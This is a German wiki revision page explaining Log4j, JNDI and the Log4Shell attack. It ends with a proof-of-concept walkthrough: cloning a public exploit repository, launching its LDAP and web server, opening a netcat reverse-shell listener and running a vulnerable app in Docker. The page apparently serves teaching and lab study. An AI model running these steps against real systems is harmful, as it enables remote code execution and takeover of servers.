Log4j: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
(→JNDI) |
|||
| Zeile 18: | Zeile 18: | ||
*Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden. | *Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden. | ||
*Nutzern der Schnittstelle können diese abrufen. | *Nutzern der Schnittstelle können diese abrufen. | ||
| − | + | ==Der Angriff== | |
| − | Der Angriff | + | *Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen ldap Server eingeben. |
| − | + | *Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann. | |
| − | Der angegriffene Server lädt diese runter und führt die Java-Class aus. | + | *Dieser wird dann zur einer Java-Class kompiliert. |
| + | *Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann. | ||
| + | *Der angegriffene Server lädt diese runter und führt die Java-Class aus. | ||
| + | *Das könnte beispielsweise eine Remote Shell sein. | ||
=Proof of Concept= | =Proof of Concept= | ||
Version vom 23. Dezember 2021, 07:29 Uhr
Schaubild
Wirkungsweise
Was ist log4j
- log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java.
- Hat es sich über die Jahre zu einem De-facto-Standard entwickelt.
- log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.
Wie funktioniert es
- Auftretende Fehler und Infomeldungen werden nicht auf der Standardausgabe auszugeben,
- log4j dient dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten.
- Neben der Auswahl des Loggingsystems gibt es noch die Wichtigkeit („Log-Level“) der Meldung.
- Aufgrund dieser wird entschieden ob überhaupt weitergeleitet wird.
- Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen.
- Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.
JNDI
- Java Naming and Directory Interface (JNDI) ist eine Programmierschnittstelle (API) innerhalb der Programmiersprache Java
- Damit können Namensdienste und Verzeichnisdienste angesprochen werden.
- Mit Hilfe dieser Schnittstelle können Daten und Objektreferenzen anhand eines Namens abgelegt werden.
- Nutzern der Schnittstelle können diese abrufen.
Der Angriff
- Man kann nun in ein Formularfeld einen jndi url in Kombination mit einen ldap Server eingeben.
- Jindi bewirkt das der Ldapserver einen Java-Code erzeugen kann.
- Dieser wird dann zur einer Java-Class kompiliert.
- Am Ende wird auf eine Url verwiesen wo die fertige Java-Class von einem Webserver runtergeladen werden kann.
- Der angegriffene Server lädt diese runter und führt die Java-Class aus.
- Das könnte beispielsweise eine Remote Shell sein.
Proof of Concept
- git clone https://github.com/kozmer/log4j-shell-poc
- cd log4j-shell-poc
Download und entpacken
- jdk-8u20-linux-x64.tar.gz
Starten des LDAP und Webservers
- python3 poc.py --userip brian.x-men.de --webport 8000 --lport 4545
Remoteshell listining
- netcat -lp 4545
App starten eventuell auf anderem Rechner
- git clone https://github.com/kozmer/log4j-shell-poc
- cd log4j-shell-poc
- docker build -t log4j-shell-poc .
- docker run --network host log4j-shell-poc




